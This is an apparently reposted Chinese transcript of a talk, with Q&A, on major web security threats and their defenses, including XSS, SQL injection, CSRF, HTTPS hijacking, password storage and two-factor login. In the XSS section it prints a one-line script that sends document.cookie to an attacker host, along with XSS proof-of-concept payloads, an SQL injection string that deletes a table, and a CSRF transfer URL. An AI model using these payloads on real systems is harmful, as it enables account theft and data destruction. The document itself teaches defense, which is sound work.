互联网主要安全威胁解读及应对方案大讨论 | 高可用架构系列
本次分享主題
據Gartner調查，絕大多數信息安全攻擊都發生在Web應用層，而超過60%的Web網站都相當脆弱，在如此嚴峻的安全形勢下，如何才能構建一個相對安全的網站成為大家關心的一個話題，蔣首席結合實例做了一次生動全面的分享。文后包括17種常見安全問題應對方案Q&A。
互聯網web應用面臨的主要威脅
1. XSS
跨站腳本攻擊(Cross Site Scripting)， 即A站點的網頁想辦法跑到B站點上。 因為我們的網頁都是javascript驅動的，所以js擁有非常大的權力。
XSS 可以大概分為三類(注意這三類不是排斥的)， DomXSS, 反射型XSS和存儲型XSS。
首先Dom型XSS是指js腳本引起的XSS，通常來說由innerHTML、eval等引起， 對于innerHTML ，如代碼
document.getElementById("id").innerHTML = "Hello, <b>" + name + "</b>",這里就有一個潛在的XSS問題，因為name你不知道里面是什么，如name = "< img src=x οnerrοr=alert(1)>" 。 那么就是一個XSS漏洞，通常來說我們一般用alert,prompt等函數測試，這個我們叫PoC，即漏洞證明 ， 所以當在一個頁面看到alert的時候就要小心了。
那XSS能做什么呢？ 我們看一段代碼：
new Image().src = " http://ha.cker.club/collectcookie.do ?c=" + encodeURIComponent(document.cookie);這段代碼很簡短，就是把用戶的cookie用URI編碼轉義后發到遠程服務器。 這表示有可能用戶賬號被盜。 JSON.parse在比較新的瀏覽器才被支持，所以很多前端喜歡用 eval("(" + json + ")") 的方式解釋JSON ， 所以這里的eval也會導致XSS漏洞，需要特別注意！ 除了這個還有 setTimeout、setInterval 等。
所以XSS帶來的危害是非常大的，因為XSS可以在你的電腦開一個遠程的HTTP隧道，可以 被用來掃描內網。一般用XHR或WebSocket來掃描， 有點像nmap。
其次介紹反射型XSS， 反射型XSS就是將參數上的數據直接展示在頁面中， 如url https://example.com?username=<img/src/οnerrοr=alert(1)> ; 當參數中的url在面頁中展示時即構成一個反射型XSS。 這一類漏洞危害相對小一點，但也要引起重視。
最后一類是存儲型XSS，這類特別嚴重， 即你打開一個頁面時已經被XSS了。一般分兩種:
-
一種是服務器端的數據被XSS，即打開頁面就被X了
-
另一種是客戶端，如flash 的local share object 或H5的localstorage， 這里要特別注意，要小心使用flash！ 我曾在 www.baidu.com 首頁找到過一個flash的XSS漏洞，當然已經通知修改了，但這個漏洞可以引起很嚴重的信息泄露！
2.SQL注入
SQL注入大家應該不陌生，如 String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'"; 如果參數id中是 ; delete from user; ... 這樣，你就悲劇了。 或者 or 1=1 這樣，就會返回所有數據 。 SQL注入可以引起服務器端被入侵，我們知道MySQL支持在函數中執行服務器端代碼，有點像nodejs中的eval一樣。 還有就是可以被拖庫，那 就悲劇了！
3.CSRF
CSRF是跨站請求偽造的意思， 比如，你的網站的logout是一個鏈接 https://example.com/doLogout.do 那么請示這個鏈接用戶cookie就會被清空，用戶就退出了， 如果你想辦法把這個鏈接的請求放到用戶不注意的地方，用戶就會莫名其妙的退，當然這個危害比較小， 假如 https://example.com/transferMoney.do?from=hatter&to=somebody&amount=100000 ， 如果這個請示只判斷cookie就操作成功，就悲劇了！
因為我們知道，在任意一個網站，請求另外一個網站的請求是會帶上cookie的，這也是cookie mapping的原理， 有興趣可以google一下cookie mapping 做廣告的同學再熟悉不過了。
還有一類，專業名詞是 XSSI， 也可以歸到CSRF， 這里講的JSONP的問題，就是XSSI， 相信國內很多網站被點名了。
4.傳輸劫持
看過315晚會的同學都知道免費WiFi不安全， 我要告訴你不只免費WiFi不安全。收費的、有密碼的或是某些電信運營商都不安全。
一般來說劫持有兩種 ， 一種是劫持DNS，比如114，還有就是有些路由器有CSRF漏洞，可以通過CSRF來設置你的DNS地址 。 一但你的DNS被修改后，你訪問任何網站就悲劇了。 DNS污染就更別說了，比如某些政府...
還有一種就是路由器劫持。 免費WiFi就是這種，當然如果是運營商，就基本什么都能干了。 這一類有很成熟的軟件來劫持。 一般安全測試用的代理軟件，或前端用的Fiddler就是這一類軟件。 當你是HTTP訪問的時候你就什么都讓別人知道了。 當然并不是說HTTPS就一定安全，這個后面會講。
5. 賬密泄露
看一下這個圖，
出自http://mashable.com/2012/06/08/linkedin-stolen-passwords-list/ ， 是linkedin泄露的密碼中top的部分，
在國內也有很多賬密泄露，大家應該也知道， 用戶喜歡在不同網站使用同一密碼。 而且有時候密碼很簡單，所以賬號號被盜就很常見。 因為我們都是依靠賬號密碼驗證用戶，耐用賬號通常是email 。
6.暴力破解
即黑客使用同一個賬號試不同密碼， 或同一個密碼試不同賬號， 通過社工庫，即上面提到的那個賬號密碼泄露，可以破解很多賬號。 通過這些賬號，特別是郵箱，能夠得到很多很多的信息。 典型的是有一次在wooyun中曝光的漫游某著名電商網站的內網就是這樣的。 開發把賬號密碼泄露到github上了， 然后黑客就...
7.身份token竊取
在XSS中的例子已經介紹了案例， 即通過 document.cookie 得到用戶的cookie, 而在web程序中都是通過cookie驗證用戶身份，也就是說cookie泄露就可能導致賬號直接被黑客訪問 。
威脅應對方案
1.XSS
對于XSS來說最好的辦法就是轉義！ 但轉義并不容易，因為轉義有很多種方式，而且開發很容易忘掉， 目前的轉義框架主要有 ESAPI 和 AntiXSS 。 一般來說需要轉義幾個比較危險的字符 & < > ' " / 。 在HTML中， & 轉成 & 在URL中 &轉成 %26 在JS中 &轉成\x26或\u0026。 需要特別注意 ' " 的轉義，在JS中需要轉成 \x \u這種形式， 雖然按ECMA262規定，' "可以轉成 \' \" 。
但在HTML的屬性中出現的時候這種轉義很危險， 如果你去看ESAPI的提交紀錄就會發現，他們原因也是這種轉義，后來改成 \x了，
https://p.rogram.me/encode/ 這個是我用JS寫的轉義程序，可以學習UTF-16 UTF-8的轉義邏輯。
在Java/JS中都是使用了UTF-16，所以String是變長的，這個需要特別注意，不然會可能亂碼。 Unicode的第1版及以后的版本，字符在UTF-16中是兩個“char”，在UTF-8中是4個字節 。
在URL中的轉義，需要特別注意一點，對于JS（ECMA262)中定義的 encodeURI encodeURIComponent都是近UTF-8轉義的。參看RFC3986，要求新的scheme都使用UTF-8轉義，但是在目前的瀏覽器實現中，如果你的頁面是GBK，那么這里有就三種轉義方式:
首先 hostname，即域名部分是 punycode，
再次 path部分是UTF-8 ，
最后query部分是GBK。 補充一下hash部分也是UTF-8
但如果你的頁面是UTF-8的，那么query部分也是UTF-8， 所以在非GBK的頁面中使用encodeURICompoent轉義query部分的值可能會有亂碼，建議頁面都使用UTF-8，而且GBK也不能表示emoji 。
還有一個innerHTML讓人防不甚防，因為使用innerHTML可以讓前端快速構建DOM，比較使用createElement方便多了，所以前端很喜歡innerHTML 。但innerHTML的危害很大，這里可以使用html凈化的工具，這類工具很多，在IE中有一個toStaticHTML的函數，就是去掉HTML中的js代碼，但在chrome/ff中沒有這個函數。
這里我收集了一些相關的工具。 這個鏈接有效期是一年，有數字簽名。 我比較推薦這個 https://github.com/hasegawayosuke/rickdom/， 這個工具的作者是 http://utf-8.jp/ ，是個日本人， 這里有使用演示 http://utf-8.jp/public/rickdom/。 如果你使用jQuery，就可以在jQuery的html函數中加入攔截，自動做凈化， 但要求前端在innerHTML中不出現js 。
2. CSP
CSP是防止XSS的大招，由 W3C 的 webappsec ＷＧ(work group)制定的，目前發面的版本是CSP2，通http://caniuse.com/#feat=contentsecuritypolicy這個鏈接可以看到當前CSP的支持情況 。大家可以測試一下這個鏈接 https://hatter.in/testCSP2 不同的瀏覽器出來的alert數量不一樣，最新的chrome不會彈alert! 。 IE也準備在Edge，就是logo特別難看的那個，支持CSP。這鏈接https://playsecurity.org/rawfile/introduce_to_csp.md 是作者整理了一個CSP的介紹，可以參看一下。
CSP有三種使用方式：
第一種，目前 github.com采 用次方式，禁止所有js inline , eval ，只能使用你指定的域名下的js，是最完美的一種方式；
第二種，使用nonce或jshash，目前airbnb是采用此方式，允許inline js， 但只允許指定的地方出現js或hash確定的js被執行；
第三種，目前facebook,gmail所采用的方式，這種策略禁止加載站外的js進來 。 也就防止cookie直接被偷到站外等惡劣情況 ， 詳細還需要自己再去看 。
有一些網站也會引用iframe，如果這個iframe是站外的就比較危險，你可以在iframe標簽中使用sandbox來限制這個頁面的行為CSP2中也引入了sandbox。
還有，上面介紹了一種反射型XSS，可以加這個X-XSS-Protection: 1; mode=block 來讓瀏覽器阻止加載，但是，FF不支持，而且瀏覽器的XSS過濾器比較容易bypass，不過加上比不加上安全，可以防小白型黑客。
3. SQL注入
SQL注入的防范方法比較簡單，就是不要讓開發人員拼接SQL，使用參數綁定的方式。如果有自動發布流程的話，通代碼白盒掃描的時候，卡發布。 還有，SQL注入和反射型XSS一樣，還是有工具的， 比如阿里開源的 有SQL注入檢測的工具 druid ，http://www.onexsoft.com/download這個中間件也有這樣的功能， 這篇論文介紹了如何檢測https://playsecurity.org/attachment/security/sql/Using_Parse_Tree_Validation_to_Prevent_SQL_Injection_Attacks.pdf， 大家可以參考一下。
4. CSRF Token檢查
CSRF最重要的是CSRF token，一般來說這個token可以放到頁面中或cookie中，然后在所有提交的請求中帶上這個token，同時服務器端判斷token是否一致，不一致則拒絕請求，這樣黑客是無法猜到這個token的。
同時我們發現，CSRF的問題是第三方網站的請求，所以IETF有一個draft就是需要解決這個問題，增加了一個First-Party-Only屬性， 參看文檔 https://datatracker.ietf.org/doc/draft-west-first-party-cookies/ 。作者是google德國的員工 mike west， 同時他也是CSP的主要作者。 補充一下 First-Party-Only 還沒有發布，而且當前chrome中實現的有bug!!!
注意原則上涉及用戶信息的JSONP也必須檢查csrf token， 然后，還需要注意！ crossdomain.xml Fetch(CORS)這兩個crossdomain.xml中如果設置為*就悲劇了，任意flash就可以訪問你的網站。Fetch原名叫CORS，就是使用XHR來跨站訪問數據，注意這里的Origin也不能設置為*
5. HTTPS
為了防止網站被劫持，我們需要配置HTTPS，HTTPS最早是netscape搞出來的， SSLv3還是他們搞的，這個版本比較老，問題也比較多。但禁止SSLv3會導致WindowsXP可能無法訪問，因為默認的WinXP的IE是不打開TLSv1.0的。雖然這個版本的IE支持這個功能，需要在設置中打開，目前普遍認為SSLv3不安全，但我只發現 github.com禁止了SSLv3的訪問。
那么問題來了，配置了HTTPS安全么？ 答案當然是否的!
首先你需要部署一個沒有已經漏洞的https軟件，一般我們使用OpenSSL，心臟出血就是這個軟件的著名 bug.目前互聯網上還有使用這個bug的OpenSSL的版本。
然后，需要配置ciphers，使用
$ nmap —script ssl-enum-ciphers -p 443 hellosecurity.org這個命令可以掃描一個網站支持哪些ciphers ， 詳細內容可以參看http://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml 關于TLS的參數， 對于W3C,IETF的所有類型注冊都在IANA。
我們也可以通過openssl來看HTTPS的配置，使用
$ echo | openssl s_client -showcerts -servername playsecurity.org -connect playsecurity.org :443這個命令會鏈接到服務器，并打印具體信息出來
-
-showcerts會打印服務器端的詳細證書信息
-
-servername是SNI，即發起TLS鏈接的時候帶上域名
返回的第一部分是證書驗證信息，這里需要特別注意的是，在配置證書的時候一定需要配置中間鏈證書，測試方式可以使用剛才的openssl命令或android的瀏覽器。android的瀏覽器不會下載中間鏈證書，也沒有內置， 所以如果配置不全會打不開！
目前HTTPS也配置了，是不是就不會被劫持了？
其實很容易被劫持哦? 。 比如，你打開 www.alipay.com的時候 一般用戶不會在前面輸出 https。那這樣第一個請求就是http的，不是https的，這樣就可以被劫持了。 一但被劫持了，黑客就可以改里面的信息，這時候就需要HSTS來幫忙，HSTS是告訴瀏覽器說，我這個域名（也可能包含子域名），加載的時候必須是HTTPS。這樣就不會在第一次的時候被繞過，例如 www.alipay.com就有設置這個頭， 參看標準 https://tools.ietf.org/html/rfc6797。
還有一種威脅就是不良CA 比如某國家CA機構（已經被google吊銷證書) 。 那這時候怎么辦呢？ 我們有HPKP， 這個 github.com 也有配置
$ curl -I https://github.com Public-Key-Pins: max-age=300; pin-sha256="WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18="; pin-sha256="JbQbUG5JMJUoI6brnx0x3vZF6jilxsapbXGVfjhN8Fg="; includeSubDomains Strict-Transport-Security: max-age=31536000; ;includeSubdomains;preload這兩個頭就是github的HSTS及HPKP，HPKP指定了幾個hash值， 只要不在這幾個hash值中就不會被信任， 那問題又來了，我第一次訪問的網站就是不良CA的證書簽的網站怎么辦呢？ 這個也有解決辦法，https://hstspreload.appspot.com/ 參看這個鏈接。 chrome/safari/ff 是共享一個名單列表。 簡單來說就是把一些信息hard coding到瀏覽器中，你只要用了這幾個瀏覽器，第一次訪問這些網站就天然是HTTPS的，不過HPKP不會內置，但內置可以內置中證書鏈中的某些證書，有興趣的同學可以看一下上面的文件。
說了這么多，用一個網站可以測試HTTPS的配置， https://www.ssllabs.com/ssltest/analyze.html。如果你拿到A+ 就Ｏ了 看這個鏈接 https://scotthelme.co.uk/a-plus-rating-qualys-ssl-test/ 可以得到更多信息
6.加密存儲
賬密泄露的解決辦法就是 加密存儲，很多網站發生過密碼泄露，是因為他們明文存放密碼。這是一個很不好的習慣，簡單使用Md5或SHA也都不是好習慣哦。關于密碼保存建議使用 scrypt、 bcrypt 或PBKDF2 。注意每個用戶都需要有不同的鹽，和密碼分開保存,這樣即使泄露，黑客如果需要破解也是成本非常非常高的，這里需要注意，像scrypt這種算法，計算成本比較高，所以需要判斷頻率，因為可以用于DoS攻擊， 同時可以參看這兩個文檔
Password Storage Cheat Sheet - https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet
Secure Password Storage - http://goo.gl/Spvzs
7.雙因子檢驗
一般來說有幾種方法 短信、 電話、 電子郵件、 硬件OTP、 軟件OTP。 apple和google都支持，強烈建議大家打開 。
?
其中apple是自己實現的二次校驗，可以通過短信或信任手機推送二次驗證口令。 而google的是標準TOTP（https://tools.ietf.org/html/rfc6238） 。 核心算法是 Base32和HMAC_SHA算法。 Google有一個軟件 https://github.com/google/google-authenticator 大家可以在市場中安裝， 我也用go語言實現了這個算法 https://gist.github.com/jht5945/cf06c4d2102db56efc55 java版在標準中有， 可以通過二維碼掃描 、 https://github.com/google/google-authenticator/wiki/Key-Uri-Format 這里是格式 。
目前 github facebook microsoft dropbox evernote都支持這種標準的TOTP。 當然國內也可以用洋蔥啦? 。ssh也可以支持到 https://github.com/ziyan/ssh-otp wordpress 、https://wordpress.org/plugins/two-factor-auth/ 。
8.無密碼驗證
很多安全問題是密碼導致，無密碼就出來了。FIDO就是這樣的工具， FIDO主要支持UAF和U2F，其中U2F相當于U盾，UAF，主要是虹膜，掃臉、指紋等。洋蔥實現的邏輯是UAF，但不清楚是不是按標準實現。 驗證過程是challenge-response方式，這種目前最安全了。
9.身份Token保護
防止cookie被盜就是設置httponly了，設置了httponly后document.cookie就拿不到。 安全性就有一定提升， 還有就是把token綁定到機器上，這個IETF在寫標準中 http://datatracker.ietf.org/wg/tokbind/documents/ ， 目前HTTP Auth即401驗證是 base64(username + ":" + password) 這樣的方式， 極不安全，基于challenge-response的標準也在制定中 https://datatracker.ietf.org/doc/draft-yusef-httpauth-srp-scheme/ 。
對于401，目前chrome在加載subresource時是忽略401的，但ie, ff不會。所以安全性存在問題，特別是郵件系統，目前我也在想辦法讓subresource禁止401，推到CSP標準中，還需要點時間 。
Q&A
Q1:公司不大，怎么做白盒測試，工具和技術 ？
白盒測試還是需要有專業知識，現在也有安全測試外包，不過不知道是不是靠譜。漏洞掃描工具可以看OWASP，不過最好的工具還是在白盒地基礎上，關于掃描工具這一塊我研究不多
Q2:我想問問有沒有辦法預防中間者攻擊，特別是手機app的中間者攻擊？
預防中間人攻擊還是使用HTTPS，然后強加密，禁止弱加密。 cipher的配置，firefox有工具，https://mozilla.github.io/server-side-tls/ssl-config-generator/ 這個是mozilla的生成器，可以選擇你需要的 。
Q3:現在手機客戶端往往通過json api和服務器端通信，這種方案除了用https，還有哪些安全方面要考慮？
手機端的話需要注意證書驗證，如AFNetworking這個組件有過漏洞，其實手機端如果是app的話，你可以自己驗證證書的，這個最安全了。
Q4:關于存儲密碼的加密算法，Sha1+每個用戶獨立的隨機鹽存密碼的弱點在哪里？ 現有如此法加密的用戶數據遷移到更專業的加密算法的必要性有多高？
目前對于RSA2048 ECC166以上還是安全的，你只要保管好你自己的私鑰，然后app端驗證hash值，就差不多了，注意密鑰交換使用ECDHE，不要用RSA或DHE 。
Q5:使用了https，那么如果是在內網做了中間人呢？也就是我在銀行發布公共wifi，然后制作虛假銀行網頁，用戶訪問銀行網頁會定向到我的服務器，后臺一個線程專門與實際的網銀請求，這種方式是否有解？
HPKP可以解這個問題，瀏覽器不會信任hash不匹配的，但是需要以前訪問過一次網站，還有如果中間人的證書是正規CA，而且是第一次訪問就是被劫持的，就很難解。目前ECDHE的安全性最高,RSA的話不是FS（正向安全）的，DHE的話應該是有破解可能性，過DHE的問題具體沒研究過 。
Q6:關于存儲密碼的加密算法，Sha1+每個用戶獨立的隨機鹽存密碼 的弱點在哪里？現有如此法加密的用戶數據 遷移到更專業的加密算法的必要性有多高？
Sha1的話通過GPU或專門的設備，解密效率特別高，如果這個信息足夠重要，即破解的ROI夠高的話，還是比較容易的.scrypt算法有對CPU周期和內存的要求，如果去破解成本高到無法接受。
Q7: 防枚舉怎么設計哦 ，尤其是訂單？
防枚舉可以限制用戶賬號和IP的試錯次數，可以禁止一段時間，比較銀行卡賬號就是這樣，3次就禁止使用，我們可以柔性一點，禁止1小時登陸。訂單這個也簡單，可以對你的ID做HAMC_SHA，就是ID會長一點。對于訂單ID可以做AES加密再Base64編碼，這樣可以防枚舉。
Q8:H 5的本地存儲攻擊方式能否再詳說下？
H5的本地存儲問題主要是存在innerHTML,eval等情況下，但flash的localshareobject就不一樣了，flash在設計的時候存在XSS問題。
Q9: 現在app一般都會提供js供網頁端調用，比如app登錄后，把token傳遞給網頁，此時如何防止惡意app提供偽js接口呢？
使用安全的HTTPS就可以了，當然電腦如果被種木馬或瀏覽器插件是沒有辦法防的 。
Q10 : 現在某國運營商劫持比較頭痛，防不勝防，有么有一些好的辦法？例如劫持APK下載。
HTTPS，APK下載校驗簽名。
Q11:APK下載檢驗簽名如果失敗，有辦法糾正嗎？
沒有，只能重新下。
Q12: HTTPS不太好走CDN ？
HTTPS走CDN的話需要考慮keyless。 但支持的CDN不多。
Q13: whatsap p這類無密碼登錄通常用的什么通信安全機制？
whatsap p沒研究過，mozilla出過一個依賴電子郵件的登陸方案，不過用的人不多，twitter登陸的時候使用手機或email驗證，但這樣就需要email絕對安全，所以email一定要開二次驗證，https://hellosecurity.org/TableOfContents 這里也有一些我早一點時間的資料，不僅僅是安全的，不過最新的沒有在這里更新。
Q14:話說email支持二次驗證的有哪些呀？
email 二次驗證的話有很多公司，還有CA也通過email驗證，如startssl, wosign，mozilla那個就沒搞好，https://www.mozilla.org/en-US/persona/ 這個是mozilla的郵件登陸項目，依靠郵件的安全 。
Q15: 移動應用本地的數據安全保護機制有什么好辦法？
當然這個話題可能有點遠了。 這個超過我的回答范圍了，不過我推薦這個 https://www.zetetic.net/sqlcipher/
Q16:與APP的交互使用對稱加密有哪些好的方法? HMAC-SHA這樣的安全系數如何? 是否對于中間人攻擊或者APP反編譯什么的沒有太大的防護意義?
對稱加密性能好，HMAC_SHA的安全性沒問題，但SHA選用SHA256以上，app反編譯的問題比較麻煩，如果你是用戶，建議手機不要root，僅從官方市場安全軟件。簽名主要有兩種，對稱和不對稱，可以參考一下JWS,https://tools.ietf.org/html/rfc7515。 HMAC_SHA的問題是，簽的一方和，驗簽的一方都有同一個密鑰，這樣就沒有防抵賴的功能。 所以如果需要防抵賴的話，建議RSA_SHA簽名，就是CA證書這種方式。
Q17: 有哪些互聯網安全方面比較好的成體系化的書可以推薦的？
書就不推薦了，這個要錢。推薦OWASP， 看下面的https://www.owasp.org/index.php/OWASP_Top_Ten_Cheat_Sheetcheat sheet文章 ， 測試可以參看 https://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf ， 關于密鑰強度的選擇大家可以參看 http://www.keylength.com/
附參考鏈接：
-
XSSI參看 http://cn.nytimes.com/china/20150615/c15security/
-
linkin top10 http://mashable.com/2012/06/08/linkedin-stolen-passwords-list/
-
ESAPI 參看 https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API
-
AntiXSS https://msdn.microsoft.com/en-us/security/aa973814.aspx
-
JS寫的轉義程序 https://p.rogram.me/encode/
-
Html凈化的工具 https://playsecurity.org/markdownView.jssp?path=Study%2FSecurity%2F%2F&fileName=Sanitizer.md¶ms=y%2Cpath%2CfileName&sign=Q5t4jwJjfnjBEQZycAsPzWJco2wmonA6XECUEipvDZw%3D，推薦這個 https://github.com/hasegawayosuke/rickdom/ 作者是 http://utf-8.jp/ 使用演示 http://utf-8.jp/public/rickdom/
-
CSP的支持情況 http://caniuse.com/#feat=contentsecuritypolicy
-
CSP的介紹 https://playsecurity.org/rawfile/introduce_to_csp.md
-
CSP的測試 https://hatter.in/testCSP2
-
Sanbox的使用參看http://www.w3.org/TR/html5/browsers.html#sandboxing
-
阿里開源SQL注入檢測的druid， https://github.com/alibaba/druid/wiki/%E9%85%8D%E7%BD%AE-wallfilter 就有SQL注入檢測的功能
-
SQL注入檢測中間件 http://www.onexsoft.com/download
https://playsecurity.org/attachment/security/sql/Using_Parse_Tree_Validation_to_Prevent_SQL_Injection_Attacks.pdf -
First-Party-Only屬性 參看文檔 https://datatracker.ietf.org/doc/draft-west-first-party-cookies/
-
TLS的參數 http://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml
-
HSTS頭標準 https://tools.ietf.org/html/rfc6797
-
不良CA的證書簽的網站 https://hstspreload.appspot.com/ 參看這個鏈接
chrome/safari/ff 是共享一個名單列表的 http://code.google.com/p/chromium/codesearch#chromium/src/net/http/transport_security_state_static.json -
測試HTTPS的配置 https://www.ssllabs.com/ssltest/analyze.html ; https://scotthelme.co.uk/a-plus-rating-qualys-ssl-test/
-
scrypt https://www.tarsnap.com/scrypt.html
-
bcrypt http://en.wikipedia.org/wiki/Bcrypt
-
PBKDF2 http://en.wikipedia.org/wiki/PBKDF
-
scrypt ddosPassword Storage Cheat Sheet - https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet
-
Secure Password Storage - http://goo.gl/Spvzs
-
TOTP https://tools.ietf.org/html/rfc6238
-
Base32和HMAC_SHA算法https://github.com/google/google-authenticator
go語言實現了這個算法 https://gist.github.com/jht5945/cf06c4d2102db56efc55
java版在標準中有可以通過二維碼掃描 https://github.com/google/google-authenticator/wiki/Key-Uri-Format -
ssh也可以支持到 https://github.com/ziyan/ssh-otp wordpress https://wordpress.org/plugins/two-factor-auth/
-
FIDO 就是這樣的工具 https://fidoalliance.org/
token綁定到機器上，這個IETF在寫標準中 http://datatracker.ietf.org/wg/tokbind/documents/
challenge-response的標準也在制定中 https://datatracker.ietf.org/doc/draft-yusef-httpauth-srp-scheme/ -
cipher的配置，firefox有工具 https://mozilla.github.io/server-side-tls/ssl-config-generator/
-
keyless https://www.cloudflare.com/keyless-ssl
-
email一定要開二次驗證，https://hellosecurity.org/TableOfContents
-
mozilla的郵件登陸項目 https://www.mozilla.org/en-US/persona/
-
移動應用本地的數據安全保護機制 https://www.zetetic.net/sqlcipher/
-
簽名 https://tools.ietf.org/html/rfc7515
-
OWASP 可以參看的cheat sheet文章 https://www.owasp.org/index.php/OWASP_Top_Ten_Cheat_Sheet
-
測試可以參看 https://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf
-
密鑰強度的選擇大家可以參看 http://www.keylength.com/
-
轉載于:https://www.cnblogs.com/davidwang456/articles/8360845.html
《新程序員》：云原生和全面數字化實踐50位技術專家共同創作，文字、視頻、音頻交互閱讀總結
以上是生活随笔為你收集整理的互联网主要安全威胁解读及应对方案大讨论 | 高可用架构系列的全部內容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： 用最少的机器支撑万亿级访问，微博6年Re
- 下一篇： 如何做好一款爬虫产品